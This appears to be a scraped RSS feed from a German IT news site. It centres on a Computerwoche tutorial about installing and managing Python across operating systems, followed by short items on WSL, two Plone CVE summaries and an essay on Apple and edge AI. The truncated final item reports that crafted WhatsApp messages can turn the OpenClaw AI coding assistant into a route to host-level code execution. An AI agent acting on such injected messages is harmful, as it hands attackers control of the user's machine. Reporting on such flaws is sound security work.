<p>Mit der einsteiger- und benutzerfreundlichen Programmiersprache <a title="Python" href="https://www.computerwoche.de/article/2815440/die-zukunft-der-python-webentwicklung.html" target="_blank">Python</a> können Sie nahezu jede erdenkliche <a title="Applikation coden" href="https://www.computerwoche.de/article/2805928/die-besten-profiler.html" target="_blank">Applikation coden</a>. Aber es ist eben auch nur eine Software wie jede andere – Installation und Management können mitunter komplex ausfallen. Wir verraten Ihnen, wie Sie <a title="Python" href="https://www.computerwoche.de/article/2762025/python-lernen-leicht-gemacht.html" target="_blank">Python</a> aufsetzen, die richtige Version für Ihre Zwecke ermitteln und mögliche Fallstricke bei der Installation unter <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/windows-10,3530" target="_blank">Windows</a>, <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank">Linux</a> und MacOS vermeiden.</p>



<h2 class="wp-block-heading">Die richtige Python-Version ermitteln</h2>



<p>Um die Kompatibilität mit Drittanbieter-Modulen gewährleisten zu können, sollten Sie nicht auf die neueste Python-Version setzen. Stattdessen empfiehlt sich die letzte große Versionierung. Aktuell (Stand: Juni 2026) ist Python 3.14.6 die neueste Version. Um sicherzugehen, dass alles läuft, sollten Sie sich also für die letzte Revision von Python 3.13 entscheiden. Natürlich können Sie die neueste Python-Version jederzeit in einer geschützten Umgebung – etwa einer <a title="virtuellen Maschine" href="https://www.computerwoche.de/article/2814705/was-sind-virtual-machines.html" target="_blank">virtuellen Maschine</a> – austesten.</p>



<p>Von Python existieren darüber hinaus auch <a href="https://www.computerwoche.de/article/2827828/10-python-distributionen-im-ueberblick.html" title="verschiedene Distributionen" target="_blank">verschiedene Distributionen</a> – ganz ähnlich wie das <a href="https://www.computerwoche.de/article/2744146/die-linux-geschichte.html" title="bei Linux" target="_blank">bei Linux</a> der Fall ist. Allerdings ist die Programmiersprache, im Gegensatz zu <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>, auch in einer offiziellen Version erhältlich, die Sie als Fallback-Option nutzen können: CPython wird von der Python Software Foundation <a href="https://www.python.org/" title="zur Verfügung gestellt" target="_blank" rel="noopener">zur Verfügung gestellt</a> und ist die sicherste und kompatibelste Distribution. Mit anderen Python-Distributionen für spezifische Use Cases können Sie zu einem späteren Zeitpunkt jederzeit experimentieren.</p>



<p>Ein wesentlicher Punkt bei der Wahl der Python-Distribution – insbesondere unter Windows – ist die Entscheidung zwischen der 32-Bit- und der 64-Bit-Version. Sehr wahrscheinlich werden Sie sich für letztere entscheiden, denn:</p>



<ul class="wp-block-list">
<li><p>die meisten modernen Betriebssysteme arbeiten standardmäßig mit der 64-Bit-Version von Python. Windows-Nutzer können die 32-Bit-Versionen der <a title="Coding-Sprache" href="https://www.computerwoche.de/article/2813209/11-wege-ihre-softwareentwicklung-neu-zu-definieren.html" target="_blank">Coding-Sprache</a> auch mit einem 64-Bit-Windows betreiben, müssen sich aber auf leichte Performance-Einbußen einstellen.</p></li>



<li><p>32-Bit-Applikationen – auch Python – können zeitgleich auf maximal 4 GB Arbeitsspeicher zugreifen. Dieses Limit kennen 64-Bit-Apps nicht. Hinzu kommt, dass viele Datenanalyse- und Machine-Learning-Tools innerhalb einer 64-bit-Umgebung am besten laufen.</p></li>
</ul>



<p>Für die 32-Bit-Version von Python sollten Sie sich lediglich dann entscheiden, wenn Sie auch ein 32-Bit-Windows oder ein Drittanbieter-Modul nutzen (müssen), welches lediglich als 32-Bit-Version vorliegt.</p>



<h2 class="wp-block-heading">Python unter Windows installieren</h2>



<p>Wie bei nahezu jeder Applikation unter Windows läuft auch die Installation von Python über einen Installer ab, der Sie durch den Setup-Prozess geleitet. Standardmäßig legt der Python-Installer .exe-Dateien unter Windows im App-Data-Verzeichnis des jeweiligen Nutzers ab – so dass keine Administratorrechte für die Installation benötigt werden.</p>



<p><strong>Den richtige Python Installer für Windows finden</strong></p>



<p><a title="Python.org" href="https://www.python.org/downloads/windows/" target="_blank" rel="noopener">Python.org</a> stellt mehrere verschiedene <a class="idgGlossaryLink" href="https://www.computerwoche.de/k/windows-10,3530" target="_blank">Windows</a> Installer zur Verfügung. Neben der 32-Bit- (x86) und der 64-Bit-Version (x86-64) auch eine Version für Windows-ARM-Systeme, ein embeddable Zip File, eine .exe-Datei sowie einen webbasierten Installer. Diese unterscheiden sich wie folgt:</p>



<ul class="wp-block-list">
<li><p>Der .<strong>exe Installer</strong> ist lediglich eine ausführbare Datei, die den Installationsprozess von Python startet – das ist die gängigste und simpelste Lösung.</p></li>



<li><p>Der <strong>webbasierte Installer</strong> ist im Grunde identisch zu seinem .exe-Pendant, mit dem Unterschied, dass es die Dateien, die für die Installation nötig sind, separat herunterlädt. Dadurch reduziert sich die Größe des Installers drastisch, allerdings ist eine Netzwerkverbindung zwingend erforderlich.</p></li>



<li><p>Das <strong>embeddable Zip File</strong> ist eine in sich geschlossene, auf das Minimum reduzierte Kopie der <a title="Python-Laufzeitumgebung" href="https://www.computerwoche.de/article/2816760/der-bessere-weg-python-zu-kompilieren.html" target="_blank">Python-Laufzeitumgebung</a>. Das ist nützlich, wenn Sie eine Python-Applikation manuell verteilen oder schnell etwas testen wollen. Allerdings enthält dieser Installer keines der nützlichen Tools, die die anderen Versionen an Bord haben.</p></li>
</ul>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p><strong>Python mit einem Package Manager unter Windows installieren</strong></p>



<p>Eine weitere Option unter <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> ist die Nutzung des betriebssystemeigenen Package-Management-Systems NuGet. Der Package Manager für .NET hat auch <a href="https://www.nuget.org/packages/python/" title="Python im Angebot" target="_blank" rel="noopener">Python im Angebot</a>, allerdings als Komponente für .NET-Applikationen und nicht, um als Installer für eine Standalone-Version von Python zum Einsatz zu kommen. Das Management Ihrer Python-Instanz dürfte sich deshalb mit einer regulären Installation einfacher gestalten.</p>



<p>Auch das <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> Package Management System Chocolatey <a href="https://chocolatey.org/packages/python/3.8.2" title="stellt Python zur Verfügung" target="_blank" rel="noopener">stellt Python zur Verfügung</a>. Das ist im Vergleich zu NuGet in der Regel die bessere Option, weil Ihr System dabei auf eine vorhandene Python-Laufzeitumgebung überprüft wird. Allerdings sollten Sie vermeiden, reguläre Installationen und solche mit Chocolatey auf einem System zu vermischen.</p>



<h2 class="wp-block-heading">Python unter Linux installieren</h2>



<p>Weil <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Distributionen teilweise erhebliche Unterschiede aufweisen, sollten Sie bei der Installation von Python unter dem <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Open-Source</a>-Betriebssystem auch auf den Package Manager der jeweiligen Distribution zurückgreifen. Die Vorgehensweise bei der Installation unterscheidet sich beispielsweise im Fall von <a href="https://docs.python-guide.org/starting/install3/linux/" title="Ubuntu" target="_blank" rel="noopener">Ubuntu</a> und <a href="https://developer.fedoraproject.org/tech/languages/python/multiple-pythons.html" title="Fedora" target="_blank" rel="noopener">Fedora</a> grundlegend. Das Installations-Zielverzeichnis orientiert sich dabei im Regelfall an der Python-Versionsnummer (<em>/usr/bin/python3.x</em>).</p>



<p>Ein Weg, die Komplexität im Umgang mit <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a>-Package-Managern zu umgehen ist die Nutzung einer Container-basierten Python-Laufzeitumgebung. <a href="https://www.computerwoche.de/article/2786849/7-security-tools-fuer-docker-und-kubernetes.html" title="Container" target="_blank">Container</a> sind vom Rest des Systems isoliert – Sie müssen sich also auch keine Gedanken darüber machen, dass unterschiedliche Python-Laufzeitumgebungen Konflikte verursachen. Falls Sie keine Erfahrungen im Umgang mit Containern haben, müssen Sie allerdings ein wenig Zeit und Mühe einplanen, um sich <a href="https://www.infoworld.com/article/2176798/docker-tutorial-get-started-with-docker.html" title="mit der Materie vertraut zu machen" target="_blank">mit der Materie vertraut zu machen</a>. </p>



<p>Das Tool <a href="https://asdf-vm.com/#/" title="asdf-vm" target="_blank" rel="noopener">asdf-vm</a> ist hilfreich, um mehrere Python-Laufzeitumgebungen auf <a href="https://www.computerwoche.de/article/2795308/pentester-software-statt-betriebssystem.html" title="Unix-basierten Systemen" target="_blank">Unix-basierten Systemen</a> (<a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> und MacOS) zu managen. Dabei beschränkt sich das Tool nicht auf Python: auch mehrere Laufzeitumgebungen für Node.js, Ruby, Elixir und viele weitere Programmiersprachen können mit asdf-vm unter einen Hut gebracht werden.</p>



<h2 class="wp-block-heading">Python unter MacOS installieren</h2>



<p>Apples MacOS wurde lange mit einer vorinstallierten Python-Version ausgeliefert – allerdings kam dabei keine Version zum Einsatz, die neuer als 2.7 war. Das führte mit der Veröffentlichung von Python 3.0 des Öfteren zu Problemen beziehungsweise Konflikten. Die <a href="https://docs.python.org/3/using/mac.html" title="offizielle Python-Dokumentation" target="_blank" rel="noopener">offizielle Python-Dokumentation</a> geht am Rande auf dieses Problem ein, stellt als Lösungsansatz allerdings nur die Empfehlung bereit, den richtigen Pfad für die entsprechende Python-Instanz zu wählen.</p>



<p>Die Nutzung des <a href="https://www.infoworld.com/article/2258320/homebrew-tutorial-how-to-use-homebrew-for-macos.html" title="Homebrew Package Managers" target="_blank">Homebrew Package Managers</a> stellt einen gängigen Weg dar, um Python-Laufzeitumgebungen unter MacOS zu managen. Dieser stellt ein konsistentes Interface für Download, (De-)Installation und Management von Python zur Verfügung. </p>



<h2 class="wp-block-heading">Python Packages installieren</h2>



<p>Wenn Sie die Grundinstallation von Python abgeschlossen haben, sollten Sie im nächsten Schritt nicht direkt mit Pip (der Python Package Manager) die Packages installieren – selbst, wenn Sie Python nur für ein einzelnes Projekt nutzen wollen. Stattdessen empfiehlt es sich, virtuelle Python-Umgebungen aufzusetzen und die Packages innerhalb dieser Umgebungen zu installieren. So bleibt die Basis-Installation “clean”.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>Eine Vielzahl von Projekten mit virtuellen Umgebungen zu managen, kann sich anspruchsvoll gestalten. Hier empfiehlt sich ein Blick auf das <a href="https://www.infoworld.com/article/3527850/better-python-project-management-with-poetry.html" title="Kommandozeilen-Tool Poetry" target="_blank">Kommandozeilen-Tool Poetry</a>.</p>



<h2 class="wp-block-heading">Mehrere Python-Versionen parallel installieren</h2>



<p>Richtig knifflig wird es, wenn mehrere verschiedene Versionen der <a href="https://www.computerwoche.de/article/2779444/eine-kleine-geschichte-der-programmiersprachen.html" title="Programmiersprache" target="_blank">Programmiersprache</a> parallel installiert werden sollen. Hier sollten Sie insbesondere zwei Dinge beachten:</p>



<ul class="wp-block-list">
<li><p>Installieren Sie jede Python-Version immer in <strong>einem eigenen Verzeichnis</strong>.</p></li>



<li><p>Stellen Sie sicher, dass die Systempfade <strong>zuerst auf die Python-Version verweisen</strong>, die standardmäßig zum Einsatz kommen soll.</p></li>
</ul>



<p>Die Einrichtung virtueller Umgebungen für jedes einzelne Projekt ist wärmstens zu empfehlen, wenn unterschiedliche Python-Versionen parallel zum Einsatz kommen sollen: So stellen Sie sicher, dass bei Aktivierung der entsprechenden virtuellen Umgebung immer automatisch die richtige Version der Coding-Sprache zum Einsatz kommt. Windows-Nutzern steht in diesem Zusammenhang mit der Py Launcher App eine weitere Option zur Verfügung. Diese kann im Rahmen des Installationsprozesses hinzugefügt werden und ermöglicht Ihnen, über Kommandozeilen-Flags auszuwählen, welche Python-Version für das jeweilige Script zum Einsatz kommen soll.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p><strong>Mehrere Python-Versionen unter Windows managen</strong></p>



<p>Bislang war es nicht wirklich möglich, unter Windows installierte Python-Versionen zu managen. Das ändert sich ab Version 3.14 mit einem Tool, das das Python-Kernteam neu entwickelt hat. Der <a href="https://peps.python.org/pep-0773" target="_blank" rel="noreferrer noopener">Python Installation Manager for Windows</a> ist soll künftig das Mittel der Wahl darstellen, um Installationen unter Windows zu verwalten. Weil der neue Installation Manager selbst nur eine normale Windows-App ist, gibt es mehrere Möglichkeiten, diesen zu installieren. Das funktioniert über:  </p>



<ul class="wp-block-list">
<li>den <a href="https://apps.microsoft.com/detail/9nq7512cxl7t?hl=en-US&amp;gl=US" target="_blank" rel="noreferrer noopener">Microsoft Store</a>,</li>



<li>die offizielle Python-Website per <a href="https://www.python.org/downloads/release/pymanager-250b9/" target="_blank" rel="noreferrer noopener">Direkt-Download</a>, oder</li>



<li>den <a href="https://www.infoworld.com/article/2334832/intro-to-winget-microsofts-package-manager-for-windows.html" target="_blank">WinGet</a>-Paketmanager (<code>winget install 9NQ7512CXL7T</code>).</li>
</ul>



<p>Das bisherige <code>py</code>-Tool soll künftig durch den Installation Manager ersetzt werden, wobei das neue Tool das alte in Sachen Funktionalität deutlich übertrifft. Die Befehle, die zuvor funktioniert haben, können weiterhin verwendet werden. Einen nützlichen Überblick über alle wichtigen Kommandos rufen Sie mit <code>py help</code> auf:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-2.png" alt="Python Installation Manager help options" class="wp-image-4001984" width="835" height="799" sizes="auto, (max-width: 835px) 100vw, 835px"></figure><p class="imageCredit">IDG</p></div>



<p>Um einzusehen, welche Python-Versionen bereits auf Ihrem Windows-System vorhanden sind, nutzen Sie den Befehl <code>py list</code>:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-4.png?w=1024" alt="Python Installation Manager listing versions of installed Python" class="wp-image-4001985" width="1024" height="310" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">IDG</p></div>



<p>Wenn Sie an bereits installierten Python-Instanzen Änderungen vornehmen möchten, müssen Sie diese manuell entfernen und anschließend mit dem Installation Manager neu installieren. Das ist denkbar einfach:</p>



<ul class="wp-block-list">
<li>Python-Versionen fügen Sie mit <code>py install <version></version></code> hinzu,</li>



<li>rufen diese nach der Installation mit <code>py -<version></version></code> auf, und</li>



<li>nutzen <code>py uninstall <version></version></code> für die Deinstallation.</li>
</ul>



<p>Um zu sehen, welche Python-Versionen über den Manager verfügbar sind, nutzen Sie <code>py list --online</code>. Die hier gelisteten Python-Installationen lassen sich zudem mit dem Befehl <code>py list -f=json</code> im JSON-Format exportieren (CSV und JSONL sind ebenfalls verfügbar). Die standardmäßige Python-Version wird in der Auflistung durch ein Sternchen markiert:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image_1168.png" alt="Default version of Python (3.14) shown with asterisk in Python Installation Manager" class="wp-image-4001989" width="686" height="249" sizes="auto, (max-width: 686px) 100vw, 686px"></figure><p class="imageCredit">IDG</p></div>



<p>Sobald Sie den Befehl <code>py</code> eingeben, wird diese Standard-Version aufgerufen. Falls Sie das ändern möchten, können Sie eine Umgebungsvariable definieren. Um etwa Python 3.12 als Standardversion festzulegen, würden Sie Powershell mit folgendem Kommando füttern:  </p>



<p><code>$Env:PYTHON_MANAGER_DEFAULT=„3.12“</code></p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>Ein Befehl wie <code>py install</code> könnte allerdings leicht mit vorkonfigurierten Befehlen in virtuellen Umgebungen oder mit einem anderen Alias kollidieren. Um das zu vermeiden, können Sie <code>pymanager</code> als eindeutigen Namen für den Installation Manager nutzen. Alle Befehle bleiben dabei unverändert, lediglich der Name der Executable ändert sich.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-8.png" alt='Running the Python Installation Manager with the "pymanager" alias instead of "py"' class="wp-image-4001991" width="853" height="875" sizes="auto, (max-width: 853px) 100vw, 853px"></figure><p class="imageCredit">IDG</p></div>



<p>Darüber hinaus ist es auch möglich, die Windows App Execution Aliases für Befehle wie <code>python</code> und <code>python3</code> anzupassen. Dazu geben Sie lediglich <code>py install --configure</code> ein. Sie werden dann aufgefordert, die Aliase Ihres Systems zu ändern:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-full"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/06/image-3.png" alt="Prompt to manage Windows app execution aliases from the Python Installation Manager" class="wp-image-4001992" width="835" height="324" sizes="auto, (max-width: 835px) 100vw, 835px"></figure><p class="imageCredit">IDG</p></div>



<h2 class="wp-block-heading">Python richtig upgraden</h2>



<p>Weniger umfangreiche Python-Revisionen (etwa von 3.7.2 auf 3.7.3) stellen im Regelfall kein Problem dar: Unter <a href="https://www.computerwoche.de/k/windows-10,3530" target="_blank" class="idgGlossaryLink">Windows</a> erkennt der Installer automatisch die installierte Version und stößt das entsprechende Upgrade an – unter <a href="https://www.computerwoche.de/k/linux-open-source,3472" target="_blank" class="idgGlossaryLink">Linux</a> und MacOS in der Regel ebenso. Allerdings müssen auch alle virtuellen Umgebungen, die Sie erstellt haben, mit einem Upgrade versehen werden – das geschieht nicht automatisch.</p>



<p>Bei großen Revisionen (etwa von 3.12 auf 3.13) sollten Sie hingegen neue virtuelle Umgebungen innerhalb der einzelnen Projektverzeichnisse erstellen. Die meisten IDEs die Python unterstützen (zum Beispiel <a title="Microsoft Visual Studio Code" href="https://www.computerwoche.de/article/2815427/so-finden-sie-zum-richtigen-entwicklungs-tool.html" target="_blank">Microsoft Visual Studio Code</a>), erkennen das automatisch und ermöglichen Ihnen, zwischen den verschiedenen virtuellen Umgebungen hin- und her zu wechseln.</p>



<p><strong>Dieser Artikel ist <a href="https://www.infoworld.com/article/2256282/how-to-install-python-the-smart-way.html" target="_blank">im Original</a> bei unserer Schwesterpublikation Infoworld.com erschienen.</strong></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WSL-Container: Windows-Nutzer führen Linux-Apps ohne Docker aus - BornCity]]></title>
<description><![CDATA[Microsoft ermöglicht native Linux-Container unter Windows 10 ... WSL 1 bleibt der Standard für andere virtualisierte Instanzen mit Windows Server 2019 ...]]></description>
<link>https://tsecurity.de/de/3662103/windows-server/wsl-container-windows-nutzer-fuehren-linux-apps-ohne-docker-aus-borncity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662103/windows-server/wsl-container-windows-nutzer-fuehren-linux-apps-ohne-docker-aus-borncity/</guid>
<pubDate>Sat, 11 Jul 2026 18:01:38 +0200</pubDate>
<category>🪟 Windows Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Microsoft ermöglicht native Linux-Container unter Windows 10 ... WSL 1 bleibt der Standard für andere virtualisierte Instanzen mit <b>Windows Server</b> 2019 ...]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-23054 | Plone Docker Official Image 5.2.13 uncontrolled search path]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in Plone Docker Official Image 5.2.13. Affected is an unknown function. Executing a manipulation can lead to uncontrolled search path.

This vulnerability is handled as CVE-2024-23054. The attack can be executed remotely. There is not a...]]></description>
<link>https://tsecurity.de/de/3661718/sicherheitsluecken/cve-2024-23054-plone-docker-official-image-5213-uncontrolled-search-path/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661718/sicherheitsluecken/cve-2024-23054-plone-docker-official-image-5213-uncontrolled-search-path/</guid>
<pubDate>Sat, 11 Jul 2026 13:08:27 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/plone:docker_official_image">Plone Docker Official Image 5.2.13</a>. Affected is an unknown function. Executing a manipulation can lead to uncontrolled search path.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2024-23054">CVE-2024-23054</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple is prepping for life after the AI gold rush]]></title>
<description><![CDATA[Consumer electronics prices are shooting up. Energy prices are increasing fast. Even water bills are climbing. For a technology that promises “efficiency,” the ongoing AI gold rush seems to be taking things away, much like the proverbial gift that keeps on grabbing.



With hundreds of billions i...]]></description>
<link>https://tsecurity.de/de/3661667/it-nachrichten/apple-is-prepping-for-life-after-the-ai-gold-rush/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661667/it-nachrichten/apple-is-prepping-for-life-after-the-ai-gold-rush/</guid>
<pubDate>Sat, 11 Jul 2026 12:18:00 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p><a>Consumer electronics prices </a><a href="https://counterpointresearch.com/en/insights/infographic-iphone-17promax-and-iphone-18promax-e-bom-cost-comparison">are </a><a href="https://counterpointresearch.com/en/insights/infographic-iphone-17promax-and-iphone-18promax-e-bom-cost-comparison" target="_blank" rel="noreferrer noopener">shooting up</a>. Energy prices are <a href="https://news.sky.com/story/energy-costs-rise-and-stocks-fall-sharply-as-us-iran-peace-is-shattered-13561710" target="_blank" rel="noreferrer noopener">increasing fast</a>. Even <a href="https://www.theguardian.com/us-news/2020/jun/23/millions-of-americans-cant-afford-water-bills-rise" target="_blank" rel="noreferrer noopener">water bills are climbing</a>. For a technology that promises “efficiency,” the ongoing AI gold rush seems to be <a href="https://www.applemust.com/omdia-says-the-hammer-has-fallen-on-low-cost-smartphones/">taking thing</a><a href="https://www.applemust.com/omdia-says-the-hammer-has-fallen-on-low-cost-smartphones/" target="_blank" rel="noreferrer noopener">s</a><a href="https://www.applemust.com/omdia-says-the-hammer-has-fallen-on-low-cost-smartphones/"> away</a>, much like the proverbial gift that keeps on grabbing.</p>



<p>With hundreds of billions in AI investment already racked up for 2026, it’s important to remember the entire industry is currently built on a mountain of debt — and much of this borrowed money is being spent on data center capacity. That’s true, even though consumers would probably rather have a cheap Mac than spend money on an AI subscription service. </p>



<p>All this debt is being amassed because a small number of people at a very small number of firms have decided to make huge investments in the tech, which at present requires huge quantities of energy, memory and data center capacity to run. </p>



<p>But it won’t always be this way.</p>



<h2 class="wp-block-heading"><strong>A mountain of debt, but we’re short of memory</strong></h2>



<p>Look, the industry as it is now just doesn’t seem sustainable. Trillions are being spent and memory vendors are shifting capacity to make the high-value, high-bandwidth memory these server farms require — at the expense of traditional consumer electronic suppliers. </p>



<p>The rapid rollout just creates AI tech will need to be replaced, likely at greater cost, in a few years’ time. In a nutshell, the industry is spending trillions to make billions; Sequoia’s David Cahn estimates the AI revenue gap between infrastructure expenditure and the revenue to justify it has <a href="https://shattered.io/ram-prices-ai-memory-shortage-2026/" data-type="link" data-id="https://shattered.io/ram-prices-ai-memory-shortage-2026/" target="_blank" rel="noreferrer noopener">already fallen $600 billion a year short</a>. </p>



<p>At some point, the VC money will run dry, after which it is inevitable deployment will slow and demand for all the components — including memory used in these large language model (LLM) data centers will fall. Some analysts think <a href="https://seekingalpha.com/article/4920983-drams-meltdown-and-cyclical-memoryoversupply-risks-discussed-initiate-hold" data-type="link" data-id="https://seekingalpha.com/article/4920983-drams-meltdown-and-cyclical-memoryoversupply-risks-discussed-initiate-hold" target="_blank" rel="noreferrer noopener">capex growth in the sector could halt by mid-2027</a>.</p>



<p>At that point, memory vendors will have expensive production facilities and extensive defaults on their order books. If the 2027 prediction is true, those vendors will feel this impact in the form of reduced forward orders by the end of 2026.</p>



<p>The problem is that the investments have become so vast that any slowdown will have consequential effects across all sections of the economy. </p>



<h2 class="wp-block-heading"><strong>After the gold rush</strong></h2>



<p>Almost certainly, the technology will continue to improve, and the problems we’re looking to solve today might no longer be challenges once fresh innovation strikes. So, what happens next? </p>



<p>Let’s think about memory, the biggest pain point at the moment and where we will (hopefully) find future innovation. At present, some of the largest LLMs sit inside data centers supported by vast quantities of memory. These machines are built to handle really complex tasks, but <a href="https://rethinkpriorities.org/research-area/estimating-the-usage-and-utility-of-llms-in-the-us-general-public/" target="_blank" rel="noreferrer noopener">most of the time</a> are used to search the web, deliver writing assistance and summarize documents. Those frequently-transacted tasks barely stretch the capabilities of these services and Apple, and others have already figured out how to run such tasks on device.</p>



<p>That’s the first obvious space in which to innovate – to invest in 1-bit data LLM systems to miniaturize and distill models so they actually run on the device you’re using, rather than relying on all those remote servers. </p>



<h2 class="wp-block-heading"><strong>The Apple shopping list</strong></h2>



<p>Apple’s <a href="https://www.theinformation.com/articles/khosla-backed-startup-claims-breakthrough-largest-ever-ai-model-iphone" target="_blank" rel="noreferrer noopener">interest in 1-bit data LLM pioneer PrismML</a> speaks volumes about where the iPhone maker sees LLM development going, as did its acquisitions of Kuzu Inc., WhyLabs Inc, Pointable Inc., and Datakalab Inc. in recent years. </p>



<p>The beauty of PrismML’s tech is what it can do. It was recently used to compress Alibaba’s huge 27-billion-parameter Qwen 3.6 model from 54GB down to under 4GB, running with all 27 billion parameters active simultaneously — all without sacrificing benchmark performance. </p>



<p>The kicker? It managed to run that advanced, sophisticated AI model on <a href="https://thecorenews.substack.com/p/the-core-appletldr-july-9?r=5l3lg&amp;utm_campaign=post-expanded-share&amp;utm_medium=web&amp;triedRedirect=true">an iPhone 17 Pro</a>. My take? Just as music used to be captured on reel-to-reel tape and is now digitized and in the air, AI will move from the data center to the device, possibly faster than people expect. </p>



<p>Apple has three pillars for AI: On-device for most of what you need, on Private Cloud Compute servers for most of the rest, or via third-party server-based systems for the most demanding tasks. That’s a blueprint for how the industry will evolve as technologies represented by PrismML tend toward bringing more of that intelligence to the device. Over time, those local tasks will become more sophisticated, eroding the available market for today’s heavily-indebted AI incumbents. </p>



<p>Emerging priorities such as the need for privacy, data sovereignty, and trusted cloud will also spur the emergence of a multipolar AI future in which no one vendor dominates, further complicating their journey to profitability. It’s a model that favors the kind of service-agnostic, edgeAI approach Apple has taken.</p>



<h2 class="wp-block-heading"><strong>EdgeAI for the rest of us</strong></h2>



<p>In the end, I don’t think there will be a need for much of the AI data center capacity now being built, because Apple and others will figure out how to use data minimization to transact sophisticated AI tasks on the device. For the most part, EdgeAI will deliver the consumer AI experience, while data centers cater to more sophisticated use. One day, after this gold rush has run its course, we’ll peer outside of our basements to see which of today’s AI firms actually are the chosen ones.</p>



<p>They may not be the ones you expect.</p>



<p><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social">BlueSky</a>, <a href="http://www.linkedin.com/in/jonnyevans">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans">Mastodon</a>, and subscribe to the human-curated daily Apple news briefing at <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2024-23055 | Plone Docker Official Image 5.2.13 Header Host privilege escalation]]></title>
<description><![CDATA[A vulnerability, which was classified as critical, was found in Plone Docker Official Image 5.2.13. The impacted element is an unknown function of the component Header Handler. The manipulation of the argument Host results in privilege escalation.

This vulnerability is reported as CVE-2024-23055...]]></description>
<link>https://tsecurity.de/de/3661489/sicherheitsluecken/cve-2024-23055-plone-docker-official-image-5213-header-host-privilege-escalation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661489/sicherheitsluecken/cve-2024-23055-plone-docker-official-image-5213-header-host-privilege-escalation/</guid>
<pubDate>Sat, 11 Jul 2026 10:08:33 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability, which was classified as <a href="https://vuldb.com/kb/risk">critical</a>, was found in <a href="https://vuldb.com/product/plone:docker_official_image">Plone Docker Official Image 5.2.13</a>. The impacted element is an unknown function of the component <em>Header Handler</em>. The manipulation of the argument <em>Host</em> results in privilege escalation.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2024-23055">CVE-2024-23055</a>. The attack can be launched remotely. No exploit exists.]]></content:encoded>
</item>
<item>
<title><![CDATA[OpenClaw Vulnerabilities Let Attackers Turn WhatsApp Messages Into Host-Level Code Execution]]></title>
<description><![CDATA[Security researchers have disclosed three high-severity vulnerabilities in OpenClaw, the popular open-source AI coding assistant with over 381,000 GitHub stars, that allow attackers to achieve full remote code execution using nothing more than a cleverly worded WhatsApp message. The flaws bypass ...]]></description>
